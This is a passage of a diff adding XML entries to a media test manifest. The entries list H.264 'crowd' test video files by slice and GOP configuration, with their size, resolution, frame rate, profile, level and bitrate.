+  <entry key="h264/yuv420/8bit/hp/scalingmatrix/crowd_854x480p50f32/crowd_854x480p50f32_scalingmat_rndm_240_255_hp.mp4">
+    <value>mime=video/avc,size=98295,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1211280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_1024byte_slices_hp.mp4">
+    <value>mime=video/avc,size=274951,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3420944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2048byte_slices_hp.mp4">
+    <value>mime=video/avc,size=272247,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3387144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_256byte_slices_hp.mp4">
+    <value>mime=video/avc,size=285584,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3553856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_hp.mp4">
+    <value>mime=video/avc,size=268759,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3343544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=277087,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3447648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_4slices_hp.mp4">
+    <value>mime=video/avc,size=270252,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3362208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_a4slices_hp.mp4">
+    <value>mime=video/avc,size=268946,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3345880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_gt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=287476,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3577512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_lt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=286205,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3561624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max128slices_hp.mp4">
+    <value>mime=video/avc,size=312348,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3888408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max64slices_hp.mp4">
+    <value>mime=video/avc,size=292751,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3643448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_slicerows_hp.mp4">
+    <value>mime=video/avc,size=286516,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=3565512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1024byte_slices_hp.mp4">
+    <value>mime=video/avc,size=623317,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7775496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2048byte_slices_hp.mp4">
+    <value>mime=video/avc,size=616945,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7695848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_hp.mp4">
+    <value>mime=video/avc,size=603862,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7532312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=624113,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7785448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4slices_hp.mp4">
+    <value>mime=video/avc,size=604640,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7542032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_a4slices_hp.mp4">
+    <value>mime=video/avc,size=604422,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7539312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_gt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=647907,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=8082872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=646451,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=8064672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max128slices_hp.mp4">
+    <value>mime=video/avc,size=668786,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=8343856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max64slices_hp.mp4">
+    <value>mime=video/avc,size=644798,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=8044008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows_hp.mp4">
+    <value>mime=video/avc,size=646717,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=8068000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices_hp.mp4">
+    <value>mime=video/avc,size=1590321,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=19863056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2048byte_slices_hp.mp4">
+    <value>mime=video/avc,size=1562585,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=19516360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_hp.mp4">
+    <value>mime=video/avc,size=1509618,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=18854272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=1572758,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=19643520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4slices_hp.mp4">
+    <value>mime=video/avc,size=1508097,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=18835256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_a4slices_hp.mp4">
+    <value>mime=video/avc,size=1511206,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=18874120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_gt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=1652215,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=20636736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=1650139,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=20610784,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max128slices_hp.mp4">
+    <value>mime=video/avc,size=1645307,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=20550384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max64slices_hp.mp4">
+    <value>mime=video/avc,size=1572575,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=19641232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_slicerows_hp.mp4">
+    <value>mime=video/avc,size=1648980,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=20596296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_1024byte_slices_hp.mp4">
+    <value>mime=video/avc,size=36274,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=437568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2048byte_slices_hp.mp4">
+    <value>mime=video/avc,size=36045,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=434712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_256byte_slices_hp.mp4">
+    <value>mime=video/avc,size=37234,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=449568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_hp.mp4">
+    <value>mime=video/avc,size=36163,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=436184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=37519,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=453136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4mbs_perslice_hp.mp4">
+    <value>mime=video/avc,size=140754,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1743568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4slices_hp.mp4">
+    <value>mime=video/avc,size=36400,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=439144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_a4slices_hp.mp4">
+    <value>mime=video/avc,size=36276,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=437600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_gt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=40941,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=495912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_lt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=40207,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=486736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max128slices_hp.mp4">
+    <value>mime=video/avc,size=89873,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1107560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max64slices_hp.mp4">
+    <value>mime=video/avc,size=56846,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=694720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_640x360p50f32/crowd_640x360p50f32_slicerows_hp.mp4">
+    <value>mime=video/avc,size=40624,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=491944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_1024byte_slices_hp.mp4">
+    <value>mime=video/avc,size=121526,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1503224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2048byte_slices_hp.mp4">
+    <value>mime=video/avc,size=120286,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1487720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_256byte_slices_hp.mp4">
+    <value>mime=video/avc,size=125298,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1550368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_hp.mp4">
+    <value>mime=video/avc,size=120080,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1485144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=123822,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1531920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4mbs_perslice_hp.mp4">
+    <value>mime=video/avc,size=285590,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3554024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4slices_hp.mp4">
+    <value>mime=video/avc,size=120530,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1490768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_a4slices_hp.mp4">
+    <value>mime=video/avc,size=120039,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1484632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_gt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=128210,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1586768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_lt1_slices_perrow_hp.mp4">
+    <value>mime=video/avc,size=127649,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1579760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max128slices_hp.mp4">
+    <value>mime=video/avc,size=157094,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1947824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max64slices_hp.mp4">
+    <value>mime=video/avc,size=137165,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1698712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/slices/crowd_854x480p50f32/crowd_854x480p50f32_slicerows_hp.mp4">
+    <value>mime=video/avc,size=127808,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1581744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p24f300_1000kbps_mp.mp4">
+    <value>mime=video/avc,size=1605129,width=640,height=360,frame-rate=24,profile=2,level=256,bitrate=1024664,max-bitrate=1268912</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p25f300_1000kbps_mp.mp4">
+    <value>mime=video/avc,size=1540408,width=640,height=360,frame-rate=25,profile=2,level=256,bitrate=1024216,max-bitrate=1265840</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p30f300_1000kbps_mp.mp4">
+    <value>mime=video/avc,size=1284699,width=640,height=360,frame-rate=30,profile=2,level=256,bitrate=1024504,max-bitrate=1252752</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p48f300_1500kbps_mp.mp4">
+    <value>mime=video/avc,size=1204387,width=640,height=360,frame-rate=48,profile=2,level=512,bitrate=1536448,max-bitrate=1746256</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p50f300_1500kbps_mp.mp4">
+    <value>mime=video/avc,size=1155933,width=640,height=360,frame-rate=50,profile=2,level=512,bitrate=1535872,max-bitrate=1794480</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_640x360p60f300_1500kbps_mp.mp4">
+    <value>mime=video/avc,size=962838,width=640,height=360,frame-rate=60,profile=2,level=512,bitrate=1534104,max-bitrate=1572376</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/bitrate/crowd_854x480p60f300_4000kbps_mp.mp4">
+    <value>mime=video/avc,size=2551212,width=854,height=480,frame-rate=60,profile=2,level=512,bitrate=4075040,max-bitrate=4203576</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8_mp.mp4">
+    <value>mime=video/avc,size=153604,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6105280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f11_gop8_mp.mp4">
+    <value>mime=video/avc,size=160381,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5796248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f12_gop8_mp.mp4">
+    <value>mime=video/avc,size=166518,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5517664,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f13_gop8_mp.mp4">
+    <value>mime=video/avc,size=173203,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5298304,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f14_gop8_mp.mp4">
+    <value>mime=video/avc,size=178856,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5081256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f15_gop8_mp.mp4">
+    <value>mime=video/avc,size=185335,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4915168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f16_gop8_mp.mp4">
+    <value>mime=video/avc,size=191647,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4765672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1_mp.mp4">
+    <value>mime=video/avc,size=62844,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2_mp.mp4">
+    <value>mime=video/avc,size=62907,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4_mp.mp4">
+    <value>mime=video/avc,size=62907,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8_mp.mp4">
+    <value>mime=video/avc,size=62908,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1_mp.mp4">
+    <value>mime=video/avc,size=77253,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15283000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2_mp.mp4">
+    <value>mime=video/avc,size=77317,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4_mp.mp4">
+    <value>mime=video/avc,size=77317,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8_mp.mp4">
+    <value>mime=video/avc,size=77318,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2_mp.mp4">
+    <value>mime=video/avc,size=90150,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4_mp.mp4">
+    <value>mime=video/avc,size=90150,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8_mp.mp4">
+    <value>mime=video/avc,size=90151,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2_mp.mp4">
+    <value>mime=video/avc,size=97348,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9641696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4_mp.mp4">
+    <value>mime=video/avc,size=99677,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9875400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8_mp.mp4">
+    <value>mime=video/avc,size=99678,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9875400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4_mp.mp4">
+    <value>mime=video/avc,size=110193,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=8740000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8_mp.mp4">
+    <value>mime=video/avc,size=110194,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=8740000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4_mp.mp4">
+    <value>mime=video/avc,size=116803,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7723200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8_mp.mp4">
+    <value>mime=video/avc,size=119307,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7890600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4_mp.mp4">
+    <value>mime=video/avc,size=123360,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6993880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8_mp.mp4">
+    <value>mime=video/avc,size=129133,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7324624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4_mp.mp4">
+    <value>mime=video/avc,size=129341,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6418496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8_mp.mp4">
+    <value>mime=video/avc,size=138242,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6864296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8_mp.mp4">
+    <value>mime=video/avc,size=147757,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6524304,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8_mp.mp4">
+    <value>mime=video/avc,size=387617,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=15465760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8_mp.mp4">
+    <value>mime=video/avc,size=403601,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=14640576,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8_mp.mp4">
+    <value>mime=video/avc,size=418656,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=13922232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8_mp.mp4">
+    <value>mime=video/avc,size=435493,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=13368736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8_mp.mp4">
+    <value>mime=video/avc,size=450282,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12836256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8_mp.mp4">
+    <value>mime=video/avc,size=464907,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12370400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8_mp.mp4">
+    <value>mime=video/avc,size=480215,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=11979848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1_mp.mp4">
+    <value>mime=video/avc,size=151930,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1208936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2_mp.mp4">
+    <value>mime=video/avc,size=151990,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4_mp.mp4">
+    <value>mime=video/avc,size=151992,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8_mp.mp4">
+    <value>mime=video/avc,size=151992,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1_mp.mp4">
+    <value>mime=video/avc,size=186888,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37209400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2_mp.mp4">
